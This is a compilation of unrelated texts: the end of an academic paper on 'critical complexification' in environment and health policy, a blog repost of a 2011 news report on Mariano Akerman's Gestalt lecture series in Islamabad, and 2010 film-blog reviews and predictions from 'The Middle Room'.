In the EE-case there was intense debate on whether the 'I don't know option' should be included in the questionnaire for the experts that were to be consulted on their confidence in the state of the art of science. Opponents mainly worried about low response rates and thus mainly took a quantitative perspective on this: the 'I don't know option' would provide the consulted scientists an easy way out of difficult questions, thus lowering the response rate for specific questions. Proponents stated the 'I don't know option' to be important from a qualitative perspective: it would allow analysts to know better if they measured knowledgeable answers or forced and perhaps partly unknowledgeable answers. The proponents considered environment and health issues too complex to expect all scientists to know enough about all relevant aspects in the causal chain from exposure to health effect that was to be addressed. In the end it was decided not to take up the 'I don't know option', thus the 'quantitative camp' won. Afterwards though, some scientists that were consulted in the expert elicitation said they sometimes felt rather uncomfortable due to absence of this option. This example shows how different scientific backgrounds may have completely different perceptions of research quality. When cooperating, they do not always find it easy to reach consensus, and in fact, in this case, it was impossible: both options excluded each other.
### Ambition dynamics
In the AD-case elements of *critical complexification* were introduced by the social scientists: introducing other relevant actors/factors and critical reflection from a problem solving perspective. These aspects were relatively easily agreed upon by the natural scientists and policy makers. Trying to bring ambitions into practice however creates new dynamics that may cause a boomerang effect. Once the application in practice creates pressure on their work (e.g. time pressure, pressure on their role as experts, practical pressure by complicating their own or the joint effort) the enthusiasm of natural scientists and policy makers often was overshadowed by concern for practical and analytical constraints. The ambitions thus are not necessarily stable: developments were never linear or predictable or in one direction and ambitions may always be disputed. The dynamics of ambitions in practice may also take another turn though in that new developments in practice may stimulate ambitions that support a *critical complexification*. In the EE-case initially it was the ambition to encompass all aspects from pollution to health impact, including societal impact. In practice nevertheless the societal aspects hardly got any attention. At a later stage due to interdisciplinary reflections on this gap, some of these aspects were touched upon by integrating a problem solving perspective. Ambitions as such also can have a stimulating impact on a *critical complexification* of practice and thus are strategic in this respect.
### Complexifiers: Trojan horses and other strategies
An essential element of the *critical complexification* of practice was a strategic way of working. An important strategic move in the first stages of the AD-case (the conceptual design phase) that proved to be of decisive importance was an active listening approach: the use of an internal reflective questionnaire. At first the practical relevance of *critical complexification* as such proved difficult to agree upon by the colleagues from natural science and policymaking. However, when elements of *critical complexification* were presented by means of open questions in an in-group questionnaire (who are relevant actors and factors?), based on the group results these elements gained support. In fact, it led to a breakthrough in the conceptual development process and formed the basis for the practice cycle in which questions of openness to relevant actors and factors were pragmatically dealt with. As such the internal reflective questionnaire can be seen as a *complexifier*: an element that will have a catalyst effect on the process of *critical complexification*.
In the EE-case the problem solving turn from mainly focussing on overcoming gaps in science to overcoming gaps between science and policymaking was triggered by using references to ambitions as *complexifiers*. The social scientist involved in the project while trying to introduce a *critical complexification* perspective, realized it was not easy to convince the principal coordinator of the EE-case. The potential benefits of *critical complexification* were countered by pointing out practical complexities that would put further pressure on what in itself was already quite a challenging pioneering endeavour, let alone put pressure on the loyalty to the expert elicitation project of the natural scientists in the team. The social scientist used reference to ambitions that were part of the initial project aims, be it mainly dormant, and ambitions from the professional background of the principal coordinator of the project as *complexifiers*. He pointed out the initial ambition of policy relevance of the project as an argument for integrating a problem solving perspective. Also he referred to two grand old men in the field of environment and health for whom he knew the coordinator had high respect, and who promote a problem solving turn in the field of environment and health \[[@B8],[@B9],[@B11]\]. Being part of the project one of them in fact had criticized the absence of a clear problem solving perspective in the early phases of the project. The fact that idealistic ambitions are often not easily applied in practice thus does not withhold them from being used as *complexifiers*: from a dormant or Ten Commandments' status to becoming seeds of practical change and inspiration. Apart from being an example of how ambitions can be *complexifiers*, the EE-case example also exemplifies how an outsider perspective can function as *complexifier*: the social scientist joined the project at a later stage, thus as a newcomer could reflect on the work in progress from some distance. Another example of the strategic impact of outsider perspectives is the use of external (outside of the team) feedback on the process. In the AD-case all external actors contributing to the project were asked for their feedback on the project. The vast majority evaluate openness to outsider perspectives and diversity of actors to be worthwhile. This is of course a bonus for those organizing such processes and for the end-user of the outcomes (e.g. policymakers). Simultaneously this can be perceived both as a stimulus and a pressure for prolonging such openness.
Experience from the AD-case shows that negative connotations may also be the result of strategic behaviour, resulting in what we in retrospect may characterize as a *Trojan horse strategy*. By joining conceptual discussions on policy interpretation of scientific research outcomes and reflecting on the ambitions of both natural scientists and policy representatives step by step from an active listening approach the role of the social scientist evolved to one of more central importance. The characterization 'Trojan horse' is mirrored in the expression of one of the senior natural scientists involved, saying she (on the level of ambition) approved of the social scientific contribution (which is in the AD-case in fact one of *critical complexification*, and as such is a *complexifier*), but she sometimes felt like an object of some social scientific experiment. Colleagues with natural scientific background sometimes react as if they feel lured into unexpected complexity, unknown to their expertise, difficult to handle and sometimes confrontational, and they either question its usefulness or appear to be unable to articulate the benefits themselves. This is also reflected in the often heard concern of the natural scientists and their counterparts in policy making that the *complexifying* approach is relevant and interesting but should not stand in the way of the research or policy agenda and should not complicate the already complicated research and policy endeavour. In the section on quality (see below) we will return to this issue. First we focus on methodological aspects of *critical complexification*.
### Method: path finding
According to Morin \[[@B6]\]*'the method emerges from the research'*. Here the word method is used in its original meaning as path, indicating that only in travelling the right method appears. This connects well to learning by doing and negotiation, as well as with the diversity of relevant elements of complexity taken into account in *critical complexification*. This does not mean that practice is sacred and methodologies and reflections from methodological expert debate are only of secondary importance. It means that they complement each other so as to serve the ambitions chosen for the endeavour and the challenges posed by practice along the way. The nature of complexity moreover challenges what we might call textbook approaches of strict and unambiguous application of methods, almost as if they should be applied regardless of complexities, of that which cannot be captured, controlled or foreseen completely. With respect to method and complexity the distinguished methodological thinker Patton \[[@B34]\] refers to the following metaphor used by Gleick \[[@B35]\] to explain the very nature of inquiry into chaos: *"It's like walking through a maze whose walls rearrange themselves with every step you take"*.
In the *critical complexification* of practice, dealing with unforeseen complexities and imperfections poses important challenges. Flexibility is essential: the need for context specific manoeuvre also from a methodological point of view. In fact, to a large extent methodological developments are part of the process and contradict the usefulness of a Bible belt approach of strict application of rigour. Moreover flexibility shows in a pluralist approach of using a diversity of methodological concepts whenever considered appropriate: e.g. a diversity of participatory approaches (e.g. the analytical deliberative approach, extended peer review, expert elicitation and participatory evaluation) and analytical approaches (e.g. multi-criteria analysis and qualitative analysis). The concepts of mixed methods and triangulation provide a conceptual basis for this eclectic praxis. Compared to single approach designs, mixed methods research is better equipped for complexity and provides opportunities for presenting a wider range of divergent views \[[@B36]\]. Quantitative methods provide relatively standardized, efficient, amenable information, which can be easily summarized and analyzed. Qualitative methods add contextual and cultural dimensions, which deepen the study by providing more natural information. Combining these two can thus be considered a 'third approach' \[[@B37]\]. Triangulation has been broadly defined by Denzin \[[@B38]\] as *'the combination of methodologies in the study of the same phenomenon'*, incorporating both quantitative and qualitative approaches. The concept of triangulation is helpful not so much as to increase the validity of our findings in a conventional, positivistic sense, but rather as a strategy that allows new and deeper dimensions to emerge. One might get a fuller picture, but not a more 'objective' one \[[@B39]\]. Triangulation facilitates more in-depth-understanding in that it can capture a more complete, holistic, and contextual interpretation of the complex relation between environment and health within the complex social context of disciplines and stakeholders.
In the AD-case the practice cycle developed for the procedure of policy interpretation of research results is an example of this eclectic praxis within the general framework of an analytical deliberative approach: it combines several methodological elements within one process, in which both quantitative and qualitative data and assessment play a role, both expert elicitation and stakeholder consultation, and in which a diversity of relevant actors and factors is combined with multi-criteria and qualitative analysis. The EE-case also exemplifies the use of a diversity of methods: a mainly quantitative questionnaire with confidence levels on state of the art science, a mainly qualitative questionnaire with respect to the weight of knowledge for policy action and an expert workshop based on the outcomes of both questionnaires.
### Quality: challenges and balances
Dealing with complex issues per definition bears the burden of imperfection. Whatever comforting concepts may promise, real life complexity will take its messy toll once travelling from conceptual ambition to real life practice. Practice is messy and stubborn and the scientific method incapable of total control. Moreover conflicting scientific standards and traditions may pose insurmountable ambiguities. A challenging issue in this respect is quality: how can we assess the quality of important but imperfect information. How can we assess the quality of a process of *critical complexification*? How can we balance ambition, importance, practicalities and imperfection? With respect to evaluation of analytical deliberative (or likewise) participatory processes objectifying quality criteria is considered to be very difficult. Renn and Schweizer \[[@B40]\] point out that the diversity of concepts and background philosophies is one of the reasons for this. Rowe et al. \[[@B41]\] conclude that the complexity of participatory processes makes it difficult to identify clear benchmarks for evaluation. Rauschmayer et al. \[[@B42]\] stress the fact that such processes involve a diversity of actors, and as such a diversity of preferences, also from the point of view of process evaluation. This may lead to the fact that process outcomes are valued differently from different actor perspectives. They propose the use of participatory evaluation.
Processes of *critical complexification* have similar characteristics regarding quality assessment. Practical complexity illustrates how *critical complexification* cannot be judged unambiguously: the fact that practice of *critical complexification* is difficult can be seen positively as a necessary and bold challenge and negatively as an insurmountable obstacle or even a threat. On the one hand the ambition of *critical complexification* may be severely challenged by those who are taken by surprise by the (sometimes drastic and often underestimated) practical consequences for their own work and expert status. On the other hand, a positive effect of taking complexity on board is that this will enhance the realistic character and better facilitate a problem solving perspective. Moreover it may be the only way to deal with complexity, implying that dealing with complexity and respecting complexity per definition will be practically complex, leaving no other alternative than leave it untouched. In fact, in the AD-case several participants in the process as well as some international experts reviewing the project, stated that it will lead to a more efficient translation of scientific knowledge in policy actions, thus can be seen as an investment in quality that will potentially have positive returns. As one of the policy representatives in the AD-case pointed out when reflecting on the rather complicated procedure being proposed in the beginning: "*It looks rather complex to me*, *but I cannot think of any alternative in order to better deal with the challenge* (HK: translating environment and health science into policy action) *ahead of us*".
Conclusions
===========
We proposed the concept of *critical complexification* as a companion of alternative boldness: embracing complexity in a realistic and problem solving manner. Simultaneously we have to be pragmatic: we have to have the courage to make choices, thateven though imperfect, will open windows of opportunity of dealing with complexity in respect of both complexity and diversity of viewpoints on complexity. We cannot present a recipe for *critical complexification* or define it like a definition of the speed of light, of a 'how to boil an egg'. Neither can we present an easy approach. Perhaps we best take *'Zen and the Art of Motorcycle Maintenance: An Inquiry into Values'*\[[@B43]\] as a source of inspiration for a combination of traditional and critical complexity science, and at minimum perceive is as an invitation for necessary dialogue and cooperation. Critical reflection on current environment and health science and policy is needed anyhow. Imagine a doctor (environment and health expert) and a patient (polluted society): should the doctor reside to individual ever more specialized diagnosis even though the patient shows serious health complications?
List of abbreviations used
==========================
AD case: analytical deliberative approach case; EE case: expert elicitation case; HENVINET: Health and ENVIronment NETwork; IARC: International Agency for Research on Cancer
Competing interests
===================
The author declares that he has no competing interests.
Acknowledgements
================
The work has been funded by the EU FP6 coordination action HENVINET, contract no 037019. Thanks to Margaret Saunders (University Hospitals Bristol NHS Foundation Trust, United Kingdom) for editing the English.
I sincerely thank Harry Kunneman (University for Humanistics, Utrecht) for his inspiring and stimulating support for writing this paper. I also sincerely thank Adri Smaling (University for Humanistics) and Lou Keune (University of Tilburg) for their critical constructive feedback along the way. Furthermore I thank my colleagues of the EU FP6 HENVINET project and the Flemish Centre of expertise for Environment and Health for their cooperation in the case studies to which the paper refers. I want to also thank the reviewers, Janna Koppe (em. Prof. of Neonatology University of Amsterdam), Paul Cilliers (University of Stellenbosch) and Peter van den Hazel (Hulpverlening Gelderland Midden Public Health Services, Arnhem), for their insightful comments. Finally I want to explicitly thank Harry Kunneman and Paul Cilliers for the inspiration of their thinking and work, and for the opportunity of discussing with them at the Critical complexity Conference in Utrecht in May 2010.
This article has been published as part of *Environmental Health* Volume 11 Supplement 1, 2012: Approaching complexities in health and environment. The full contents of the supplement are available online at <http://www.ehjournal.net/supplements/11/S1>.
|
22.10.11
Gestalt Programme Launching Event
by Ishrat HyattInternational The News, October 22, 2011, City News, p. 19
ISLAMABAD. The Ambassador of Switzerland and Mrs Regula Bubb hosted a function to mark the opening lecture of the Gestalt Educational Programme, which is being supported by the embassies of Switzerland and Germany.
The series of fifteen educational lectures, training sessions and workshops by Argentinean artist, Mariano Akerman architect and historian, Summa cum Laude, has been conceived especially for Pakistani audiences. Focusing on the Swiss-German contribution in the fields of theory and design, it aims at sharing experience and reconsidering the interplay between tradition and modernisation, over 2,500 students have been invited to participate from educational institutions around Islamabad and Rawalpindi.
Ambassadors Bubb and Koch, with the lecturer
After invitees representing the arts had arrived and were seated, the host welcomed them and said he and his wife were delighted to host the event which would showcase the artistic achievements of the great artists from his country as well as neighbouring Germany. He thanked the ambassador of Germany, Dr Michael Koch, for his help and collaboration and said it was so readily forthcoming that he was tempted to ask for it more often. With a few words about the Gestalt programme, he thanked the speaker for his contribution and asked him to take the floor.
Lectures by Mariano Akerman are never boring and you can listen to him for more than the usual length of time even though the subject may not be your cup of tea. His talks combine facts and figures with touches of humour and just a little spice in the form of taking a dig at people and places—in the nicest manner—thrown in for good measure, much to the delight of the audience. The students who attend his series in connection with the Gestalt programme will enjoy his style, probably compare it with that of others and generally come away with a greater understanding of the subject under discussion since he encourages his listeners' participation.
Mariano began by saying he had been in Pakistan for five years because he had a passion for art and because he has been inspired by the interest Pakistanis display in his artistic activities. "When people in Argentina ask when I am coming home, I reply home is here," he said. "Because I feel at home among my friends."
Mariano Akerman: Bridging Cultures
With a slide show to emphasise the points he made, Mariano began by speaking of European art of the 20th century, in particular the period of the Weimar Republic from 1918-1933; its ups and downs especially the economic downside between 1921-23 and the golden years from 1924-29 when there was a switch towards change of accepted norms and practises. It was interesting to hear and see the comparisons he made and how he explained what modern art was all about [...].
In a statement, Mariano says that the Gestalt theory and Bauhaus design are two of the important themes to be explored in this cycle of fifteen lectures, training sessions and workshops. Figure and ground, chance and intention, form and function, the rational and the irrational, repression and expression are discussed [in the Program], which reconsiders the modern idea of form and function integrated in a single, effective whole.
Yet, significantly, close observation may reveal that modernity is not only based on functionality and common sense, as it may present surprises too. Besides, is ornament a crime? Tradition has often associated it with identity. Can abstraction and mass-produced fabrications provide it? And what is the common raison d'être supporting the work of German-Swiss creators so diverse as Walter Gropius, Arp, Alberto Giacometti, Le Corbusier, Meret Oppenheim, Mies van der Rohe, Johannes Itten, Paul Klee, and Max Ernst?
A possible answer is that it was precisely around the 1920s that such inventive creators provided us with the best of Modern Art. Following their example and being characterised by its experimental nature and full-of-prizes collage contest, The Gestalt Programme aims to open a window towards the achievements of geographically and historically distant cultures, stimulating local productivity and inventiveness, without rejecting ancestral traditions.
28 comments:
Nicolas Plattner
said...
The Gestalt series of lectures by Mariano Akerman is an opportunity to bring a most significant European movement closer to the Pakistani audience. Indeed, experimentation and new objectivity are concepts which have shape European modern cultural identity. As always, Mariano Akerman's formidable knowledge of the art and his exceptional ability to captivate a wide audience will be beneficial for students and teachers alike, bringing the Gestalt closer to their own reality. The message conveyed by Klee, Le Corbusier, Arp, and other prominent artists and architects who have animated the Gestalt and Bauhaus is very much actual in today’s world. —Nicolas Plattner, The Swiss Embassy, Islamabad
Dear Mariano, I don't feel that the Gestalt Program is about "distant" cultures since you bring a sense of how some things keep going on ahead, despite and because of the darkest and worst of times, together with a sense of your own mission here—of promoting what is useful and good with reassurances about the capacity and predominance of the human holistic mind, to fill in the missing contextual gaps and links and look to the overall meaningfulness of the larger picture. During the launching lecture of the Gestalt Program people felt you made history come alive for them and made it feel relevant with your exposition on the life of the two schools, Gestalt and Bauhaus, their personnel, ideology and implementations that impacted not only Europe but the world. And they loved your "style" of delivery and the images you put together, they listened, they looked and were held by it all. And found it well, considered and amusingly presented by you, and interesting, stimulating and thought provoking for them, I'm sure. Well done!
I think it was probably the best lecture I have heard and see you do. You were right on form; able to blend your knowledge of the subject with great visual presentation, humour to those of us who perhaps didn't know anything about Gestalt.Your ability to combine, connect, integrate and transfer knowledge to the audience goes way beyond what many professors could do.
Dear Mariano, thank you. I agree the evening was a great success, primarily thanks to your competent, well structured presentation. The holistic approach and the humorous elements contributed to a fascinating learning experience. With kind regards and my best wishes for the series.Christoph Bubb Ambassador Embassy of Switzerland, Islamabad
Dear Mariano. I want to thank you for the wonderful lecture you gave last Thursday. You were brilliant and it is amazing how many things you know. Thank you for sharing this with us: I enjoyed it so much. I would like to participate in more of you lectures.I am sure you'll have a huge success. Good luck! Kind regards, Liuba
Your lectures have made me to come to the conclusion that Gestalt really works in every field. Especially the Form and Function topic has real implications in our lives. Moreover, your lectures really urge one's mind to negotiate and discover something abstract from one's inner self. Thanks for all the new seeds you have cultivated in our minds. I am sure one day their fruit will enlighten the whole world with a name: Mariano Akerman.
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Sunday, May 30, 2010
As a rule of thumb, movies based on video games are poor in quality, as are video games based on movies. The movie, Prince of Persia: The Sands of Time, may actually be the best movie based on a video game ever made, though we will certainly understand if fans of the Resident Evil franchise wish to file an objection. But 'best' does not always equate to 'good', not that either is necessary for a movie to be enjoyable. Prince of Persia is, at the very least, one of the best video game movies out there, and is certainly enjoyable.
It's still not all that good.
But this is far from enlightening. What's most intriguing about this film is that, in approaching good, we have finally determined to our satisfaction why it is so difficult for movies derived from video games to cross that threshold. We have heard it said, from time to time, that video game plots lack the substance or the complexity to be developed into good movies. Yet the game this was based on has a far more developed plot than, say, the Pirates of the Caribbean ride that gave birth to that franchise. And those movies - especially the original - are far better than this.
The difference between them is that the filmmakers who crafted Curse of the Black Pearl sat down and answered a single question: "What do you mean by 'based on'?"
It is the question all adaptations must confront, and it is likewise the question that tripped up Prince of Persia. Is this adapted from the game or merely inspired by?
The video game actually has a surprisingly thoughtful story. It's not really a complex story, but it's thoughtful nonetheless. While the game also deserves praise for its design and action sequences, the plot is what ties it together.
However, that plot is ultimately limited to three characters: the prince, the princess, and the vizier. While such reductionist stories may function well in game environments, it's difficult to craft an entertaining film from such a skeletal structure.
So, when transitioning from game to movie, they abandoned the story entirely, opting instead to base their film on imagery and sequences from the game. And this is where the film floundered. While the sets and fights were certainly amusing, there was a sense in which the movie felt shackled to its source. If you've played the game, than you've seen these environments. You've explored them, in fact, in more depth than the movie has time to. You've used the Dagger of Time and have mastered it. Watching its application in the movie is somewhat akin to seeing a child pick up the controller without learning the controls first.
Meanwhile, the back story has been entirely changed to better appeal to a wider audience. The original portrayed the prince as spoiled from birth: the events of the game teach him the meaning of consequences and the significance of responsibility. Rather than deal with such complexity, the filmmakers have re-imagined him as a street thief who was adopted by a wise and benevolent king. The arc we're left with is of a man who begins the movie as a brave and noble warrior and ends as a warrior who's learned to trust his already brave and noble heart.
In some ways, this is as much an adaptation of Disney's Aladdin as it is Sands of Time. Ultimately, though, a live-action Aladdin starring Jake Gyllenhaal and Alfred Molina as the genie would probably have been a better film.
In addition, the princess from the game had more depth than appeared here. It didn't help that her animosity towards the prince seemed misplaced here, as Gyllenhaal was, as previously mentioned, brave and noble from the start, and was clearly as much a victim of circumstance as she was. As a result, her continued attempts to ditch or, on one occasion, murder him, come of as foolish, petty, and anti-productive, hardly an appropriate portrayal for the sole female character with a name.
In attempting to skirt the line between allowing themselves the freedom of being inspired by the source material and trying to faithfully adapt the game environments and ideas, the movie leaves fans of the game stranded between what we've already seen and what we miss. There's not enough new to intrigue us and too little of what we loved about the game for us to fully enjoy as an adaptation.
Compare this with Pirates of the Caribbean, which playfully tipped its hat to its inspiration then moved on to a new story, new settings, and new characters.
This isn't to say there's nothing to enjoy. Ironically, we actually did enjoy this film, thanks to the solid acting, amazing sets, and exciting action. We enjoyed it throughout, but, aside from the first big battle and the flashback to the young Dastan, we never loved what we were seeing.
Perhaps, if it should manage a sequel, Prince of Persia will be able to find its own footing. Certainly the elements are in place: Jake Gyllenhaal is a fantastic choice for the role. Now that its dues to the game have been paid, we'd love to see an original swashbuckling adventure story in this world.
Such prospects seem unlikely, however, as the theater we went to was mostly empty. There's little indication this will make enough to warrant another picture.
This movie clearly wants to be Pirates of the Caribbean, so it seems only appropriate to grade on that curve. If Curse of the Black Pearl is a five star film, than Sands of Time is good for two and a half.
Ironically, if you've never played the game this is based on, you're likely to enjoy the setting and fights more than we did. This isn't bad for an adventure movie - it manages to retain a quick pace and light tone throughout. But, frankly, with movies like Iron Man 2 in abundance, we have higher expectations.
Thursday, May 20, 2010
Every year The Middle Room attempts to look towards tomorrow, to predict, with what we hope is near-perfect accuracy, the quality of films yet to come. And, with few exceptions, we typically embarrass ourselves.
Last time, we considered the opening films of summer, but now we must gaze further into the haze of the future and June.
Half of July will be thrown in for good measure.
The A-Team (June 11)
Estimated Tomatometer: 40%
The quality of this film will likely be directly proportionate to the number of times they play the original theme song during the course of the movie. The trailer offers an uneven impression: we're thrilled to see this level of absurdity, but not impressed with some of the CG effects, particularly connected to the falling tank. Even so, this movie has certainly caught our interest.
The Karate Kid (June 11)
Estimated Tomatometer: 55%
While we don't have plans to see this, the fact that two remakes from the eighties are opening the same weekend is worth noting. We don't have anything against the trailer to this movie, actually. A remake of the Karate Kid certainly seems unnecessary, but it certainly appears to have been made in the spirit of the original, even if the martial art in question has changed.
Jonah Hex (June 25)
Estimated Tomatometer: 45%
Divided into its components - into the cellular units the film is constructed of - it is difficult to explain why we are not more excited about this movie. However, the previews offer us little hope that Jonah Hex will deliver an experience equal to its source material. The cause for this discrepancy is fairly straightforward: the filmmakers seem to have approached the character and concept as being comical, when there are few characters who should be treated as seriously as Jonah Hex.
That said, the most venomous insult thrown at Jonah Hex appears to be that it may be no better than Wild Wild West, and despite its many flaws, we kind of enjoyed that film. Regardless of our impression, we doubt critics will be forgiving.
Toy Story 3 (June 25)
Estimated Tomatometer: 99.8%
Neither installment from the Toy Story franchise rates highly on our list of favorites from Pixar. That said, the films are still produced by a company whose worst films exceed the best produced by their rivals (yes, even Cars). On top of that, Toy Story 2 was an improvement on the first. These characters are beloved by the filmmakers, and there is every indication that the third may improve on its predecessors.
While we often disagree with critics on many issues, we generally find ourselves in agreement when it comes to Pixar. Our estimate may be slightly optimistic, but we doubt we'll be off by more than a percentage point or two.
Twilight Saga: Eclipse (June 30)
Estimated Tomatometer: 25%
Before we go on, allow us to assure our readers that we will not see Eclipse. Even if it were to garner critical approval and strong word of mouth recommendations, we are less than eager to sit in a theater surrounded by that many teenagers.
That said, this is movie about vampires and werewolves (or at least things resembling vampires and werewolves), and and as such is, technically, a film related to geek interests. For this reason, we include it on our list, despite the fact the trailer managed to lower the bar on vampire/werewolf fighting with what may be the dullest looking battle sequence imaginable.
Van Helsing seems better all the time....
The Last Airbender (July 2)
Estimated Tomatometer: 50%
It is no coincidence that our estimate falls in the dead center of the scale: the simple fact is, we do not know what to make of this film.
Our thoughts on M. Night Shyamalan are in the public record. While we'd like to believe he's capable of once again crafting a worthwhile production, it's been a long time since such faith was rewarded.
However, the trailers have some promise. Certainly, it's easy to be underwhelmed by some casting choices, but the effects and stylistic choices cannot help but inspire some optimism. And yet, we recall being intrigued by the trailer for The Village.
Our estimate is a shot in the dark; an admission of uncertainty which guarantees we won't miss our mark by more than 50%. We expect our decision to see this will be determined more by word of mouth than by reviews, but we will pay attention.
Predators (July 7)
Estimated Tomatometer: 88%
Are we being optimistic? Perhaps. There is, generally speaking, a law of diminishing returns for the quality of sequels to R-rated movie franchises. But every indication we've seen tells us this will be an exception. More than that, we have a feeling, an instinctual sensation in our gut, that this will bury the Alien Vs. Predator films and surpass at least Predator 2 (a solid picture) in quality.
Time will tell.
Despicable Me (July 9)
Estimated Tomatometer: 45%
With all due respect to the honorable Steve Carell, the trailers for this have been passable at best. While we haven't seen anything offensively bad in connection to this, nothing has struck us as unusually good, either.
If our estimate proves low by forty points or more, we may see this. Barring that, we've little interest in another CG movie without the talent of Pixar behind it.
When next we gather to discuss this subject, we shall leave no reel unturned. Yes, the third installment shall be the last, and our gaze shall be cast all the way to the end of summer.
Friday, May 14, 2010
Many claims have been made about Ridley Scott's Robin Hood. While some are accurate, as many or more are misleading in nature and can lead to confusion about the nature of the film. In the interest of the public well being, we in The Middle Room have decided to dedicate some of our review to rooting out such misconceptions and setting them right.
This is, in essence, the educational portion of our review, and we will be quite upset if we don't begin receiving some form of federal funding as a result.
It has been said that, in this movie, Ridley Scott is attempting to relaunch Robin Hood in the same vein that Batman Begins or Casino Royale relaunched Batman and Bond. While there's a kernel of truth to this claim, it fails to fully convey the experience of the film. The movie may have been shot as if it were a dark and gritty picture, but the writing - and, in many cases, the acting - are another animal entirely.
Imagine, if you will, that the script to the Adam West Batman movie had been picked up by Christopher Nolan, then filmed in the style of The Dark Knight. Christian Bale is still Batman, and he reads every bat-line in the same raspy voice he's known for. The lines about bat-shark repellent and not being able to get rid of a bomb are still there, but they're spoken without humor. Also, the role of the Riddler is played by Frank Gorshin.
Switch the Bale to Crow, Gotham to Nottingham, and Riddler to King John, and you've pretty much described this movie in a nutshell. The only exception is the plot: the story in the Adam West Batman movie made more sense. Far more sense, in fact. More on this in a moment.
It has also been said that this was intended as a more historically accurate version of Robin Hood. This is blatantly false on more counts than we can easily count. There may be accurate props, the costumes may be somewhat more believable, and the setting may be more truthful, but overall this no more historically believable than Robin Hood: Prince of Thieves. Or, for that matter, Men in Tights.
If we're mistaken, than our high school world history teachers have some explaining to do.
This is, frankly, not a good movie. That said, it's not an altogether unenjoyable movie, provided you are willing to dispense with notions like continuity and logic. Characters have a tendency of instantly traveling great distances between scenes. The plot folds over on itself; there is little causal connection between one event and the next, nor is there much in the way of consequences. Meanwhile, characters will occasionally know things in one scene they did not the moment before with no explanation.
This is a movie permeated by images and ideas that feel eerily familiar. Moments echo from other movies you've seen. Sure, there's the obvious tipping of the hat to other Robin Hood films and the expected borrowing from Lord of the Rings and Braveheart, but then Darth Maul shows up and betrays England. And let's not forget the tribe of Lost Boys living in Sherwood. Or the scene from Saving Private Ryan. And none of this comes close to the bizarre echo of Queen Elizabeth: The Golden Age that occurs in the final battle sequence.
Also, we finally learn where the Joker got his scars.
It's easy to have fun watching this, though much of that fun comes at the movie's expense. It's entertaining, for example, to see Alan Doyle from Great Big Sea playing Allan A'Dayle, but he's still singing modern interpretations of folk music. And Oliver Isaac's Prince John is more or less identical to that of the talking lion in Disney's interpretation. Seriously. Watch the first minute or two of this.... then watch this. IT'S THE SAME SCENE.
Our reaction upon walking out of the theater was to ask, "What the hell was that?" We've yet to work out an answer. Was this supposed to be campy? If so, then why film it like it's a historic epic? It's almost as if Ridley Scott either couldn't decide or didn't care what he was making. Is this an update of the Robin Hood of the 1930's? If so, why tell a prequel?
Fortunately, for all its faults, there was plenty of beautiful imagery and solid action to keep us diverted. On the Chronicles of Riddick scale, we'll award this two and a half stars out of five. This was amusing, but, as a ridiculous, medieval prequel adventure with the pretense of serious realism, it falls short of Underworld: Rise of the Lycans. Still, if you enjoy sword fights and the English countryside - as we do - it may be worth a viewing.
Even so, it's hard to endorse this when you could just go see Iron Man 2 again.
Saturday, May 8, 2010
The response from critics towards Iron Man 2 has proven less enthusiastic than we predicted. Fortunately, this discrepancy reveals far more about the critics than the movie itself. A quick glance at Rotten Tomatoes, where Iron Man 2 has earned a respectable, albeit underrated, 74%, offers some context for those who did not enjoy the movie. The primary complaint seems to revolve around plot, which many critics - including several who enjoyed the film overall - maintained was light.
It may surprise you to hear that we agree with this assessment. Where we disagree is in whether this is actually a flaw.
Iron Man 2 is not, strictly speaking, much of a movie in its own right. It doesn't portray the epic struggle between a hero and his nemesis. Sure, there's a supervillain, but he's little more than a minor inconvenience. Tony Stark has always been his own worst enemy, and the movie allows him to serve as both protagonist and adversary.
The events portrayed feel less like a plot than a series of disconnected incidents. The film doesn't even focus its point of view on Stark, but rather widens to explore those around him.
In essence, they've made a film about the Marvel Universe's relationship with Tony Stark. We've heard Iron Man 2 described as a bridge to future Marvel films, and again, there's some truth to this. Only the term carries associations with duller stories, and we find it hard to imagine seeing this as anything less than fascinating.
No, "bridge" is not the word we use. To us, Iron Man 2 felt like a feature length trailer for what's coming. Rather than trying to tell a single story, the filmmakers used Iron Man 2 as an opportunity to explore their universe, pulling in more and more characters and artifacts from their source material. They've offered a vignette of sequences and character arcs exploring the rich universe these films portray.
In comic terms, they've given us the issues between major story lines, the books offering context and development. From a production standpoint, nothing occurs in Iron Man 2 that couldn't have been skipped: they could simply have made the movie after this one and made veiled references to technological improvements, character growth, and relationships, and we'd have taken it at face value. That would have been the easy solution.
But they've done something less expected and more courageous. They've devoted a film to the depth of the Marvel Universe. And they certainly retained everything that made the first movie successful: Tony Stark's eccentric personality, the sense of adventurous fun, the comedy, and the awesome action scenes.
The issue is that movie reviewers are trying to compare Iron Man 2 with Superman 2. But this isn't the issue where Zod conquers Earth: instead, it's akin to stories about Clark trying to balance his job and friendships while dealing with threats from Toyman and Metallo. Iron Man introduced the shared Marvel Universe to theatrical audiences. Its sequel allows that Universe to take a starring role. Meanwhile, Robert Downey Jr. deserves an Oscar for his supporting role.
When we reviewed the first movie, we held it against the best modern superhero movies. Against the same competition, we give Iron Man 2 the same grade: 4 stars out of five. This is a worthy successor in this series, and, more importantly, a fantastic harbinger of what's coming.
Sunday, May 2, 2010
No day in the Geekorian calendar is as holy as the first Saturday in May. It is known by many names: Geek Christmas, Geek Independence Day, and, of course, colloquially as Free Comic Book Day. It is a day when anyone of any age can walk into nearly any comic book store in the country and receive one or more free comic books.
To the cynic, Free Comic Book Day is about nothing more than this: to them, it is a day about comics. But this is a flawed description. Certainly, comic books represent an important aspect to the traditional celebration of Free Comic Book Day, but there is certainly more to the day than mere comic books.
Indeed, we in The Middle Room maintain that were The Leader to steal every issue set to be delivered, Free Comic Book Day would come all the same. "How?" you may ask. Because there is a spirit to the day which cannot be stolen or dismissed.
It is the spirit of Getting. Yes, when you strip away the mass-produced covers and the dozens upon dozens of pages of ads, you find this kernel at the core of every book. If you look behind the grin of every young child clutching their first free bag of comics, you can see that glint in their eye: this didn't cost them a penny.
The store owners, priestly stewards of the holiday, perceive Free Comic Book Day at a different level: those books cost them money. But still, the spirit endures, because they are getting new customers. As are the publishers, who sell the comics at a loss in the hopes of getting new readers who will come back to hand over real money next time for the follow up issue chronicling the coming War of the Supermen.
In some ways, we consider Free Comic Book Day the most quintessentially American of all holidays. Sure, Christmas and Valentines Day have been blatantly distorted into a crass exploitation of commercialism, but the effects of these last for only a single day. Those behind Free Comic Book Day hope to manipulate readers - particularly new readers, children - for an entire year.
